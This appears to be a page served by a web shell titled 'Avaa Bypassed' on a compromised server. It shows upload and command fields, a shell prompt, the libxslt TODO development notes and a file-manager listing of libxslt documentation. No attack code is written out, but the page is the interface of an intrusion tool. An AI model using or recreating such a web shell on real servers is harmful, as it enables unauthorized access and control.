404

[ Avaa Bypassed ]




Upload:

Command:

botdev@18.119.255.198: ~ $
                  ********
                 *        *
                 *  TODO  *
                 *        *
                  ********

Lifetime of result Value Tree, make sure we keep pointers. Exslt
handling of node set values is especially nasty in this respect,
lots of potential mem leaks...

Pattern tester:
  -> try to optimize for ID scan and tests.

Pattern scanner:
  -> add error checks on all returns

Sorting:
  -> add lang and case-order
  -> add foreign sorting functions (interfaces ?).

                  ********
                 *        *
                 *  DONE  *
                 *        *
                  ********

Design:
  - should transforms for a given stylesheet be thread clean,
    -> the precompilation now occur only at stylesheet processing
       time (except the binding for named templates and extension
       functions which need to be computed once at run-time).
       Multiple threads should be able to reuse the same stylesheet
       now.

Embedding Stylesheets:
  - example in 2.7 would force to validate, we do it by default now

ID and Key support:
  -> Done

Extra functions:
  -> document() should not be a problem since Result Tree Fragments are
     implemented
  => Done

Templates:
  -> check the built-in template rule for attributes
  -> make sure @xxx matches are applied

Contextual error reporting:
  -> provide a couple of functions providing context analysis, not urgent

Validity:
  -> should we add validation by default ? Make this an option
  -> redirrect validity errors
  => done added a special parsing mode

Import:
  -> parse them
  -> provide functions to circulate in the import tree of stylesheets
  -> make sure we use the cascade wherever it's needed

Extra functions:
  -> make a separate module.
  => done functions.[ch]

Support Attribute value templates:
  -> starts to be urgent. Design it in flexible ways but try to optimize
     to handle most of it at the stylesheet parse time ...
  => Done for the most part need to check all attributes in XSLT constructs
     using them and use the dedicated readin function.
  -> optimization by checking their existence at stylesheet parse time.
  => done when building the preproc function

Sorting:
  -> add support for imbricated sorts
  => done but not well tested.

Separate util module:
  -> macros, config, verbosity ?
  => xsltutils.[ch]

Support for disable-output-escaping="yes":
  -> looks problematic, libxml has no support for anything like this,
     and unless adding a new node type :-( or tweaking text node and
     output routines this is gonna be messy ... must be handled at libxml
     level.
  => Done with a trick, text node name is different, requires > 2.2.11

Pattern scanner:
  -> compute priority
  -> handle unions
  -> support for mode
  => done

Pattern tester:
  -> also put fast lookup for "text()", "comment()", "node()"
     based patterns lists.
  => done

Support Attribute value templates:
  -> namespace support for attribute value templates is not done, need
     a small API redesign

Doc:
  - put a page at http://xmlsoft.org/XSLT/
  - generate/transform the DocBook to HTML
  - add HTML to package
  - manpage and doc for xsltproc


Error handling:
  -> check the version stuff, design a separate module for error interfacing
     and default handling, parsing vs. runtime, fatal / compat / warning,
     and lack of optionnal features.
  -> reports context

ID and Key support:
  -> done but namespace support in keys is not defined
  -> make sure keys are recomputed on new document input

Profiler:
  -> added looks good enough
  -> autocorrection of initial calibration loop

Filemanager

Name Type Size Permission Actions
EXSLT Folder 0755
html Folder 0755
tutorial Folder 0755
tutorial2 Folder 0755
API.html File 6.61 KB 0644
APIchunk0.html File 16.65 KB 0644
APIchunk1.html File 30.2 KB 0644
APIchunk10.html File 49.31 KB 0644
APIchunk11.html File 27.85 KB 0644
APIchunk12.html File 36.82 KB 0644
APIchunk13.html File 7.39 KB 0644
APIchunk2.html File 37.81 KB 0644
APIchunk3.html File 40.34 KB 0644
APIchunk4.html File 36.26 KB 0644
APIchunk5.html File 27.07 KB 0644
APIchunk6.html File 27.21 KB 0644
APIchunk7.html File 27.26 KB 0644
APIchunk8.html File 28.19 KB 0644
APIchunk9.html File 29.39 KB 0644
APIconstructors.html File 4.9 KB 0644
APIfiles.html File 7.72 KB 0644
APIfunctions.html File 5.77 KB 0644
APIsymbols.html File 7.7 KB 0644
AUTHORS File 2.03 KB 0644
FAQ.html File 7.37 KB 0644
FEATURES.gz File 1.47 KB 0644
Libxslt-Logo-180x168.gif File 8 KB 0644
Libxslt-Logo-90x34.gif File 2.96 KB 0644
NEWS.gz File 15.11 KB 0644
README File 655 B 0644
TODO File 3.57 KB 0644
bugs.html File 9.18 KB 0644
changelog.Debian.gz File 1.95 KB 0644
contexts.gif File 10.08 KB 0644
contribs.html File 7.43 KB 0644
copyright File 3.21 KB 0644
docbook.html File 9.09 KB 0644
docs.html File 5.44 KB 0644
downloads.html File 6.83 KB 0644
exslt.html File 9.89 KB 0644
extensions.html File 22.21 KB 0644
help.html File 5.86 KB 0644
index.html File 5.32 KB 0644
internals.html File 28.17 KB 0644
intro.html File 5.66 KB 0644
libexslt-api.xml.gz File 863 B 0644
libexslt-refs.xml.gz File 1.25 KB 0644
libxslt-api.xml.gz File 31.25 KB 0644
libxslt-refs.xml.gz File 30.22 KB 0644
news.html File 55.98 KB 0644
node.gif File 4.81 KB 0644
object.gif File 4.47 KB 0644
processing.gif File 8.99 KB 0644
python.html File 15.6 KB 0644
redhat.gif File 697 B 0644
smallfootonly.gif File 2.71 KB 0644
stylesheet.gif File 6.88 KB 0644
templates.gif File 8.78 KB 0644
xslt.html File 122.61 KB 0644
xsltproc.html File 9.25 KB 0644
xsltproc2.html File 6.92 KB 0644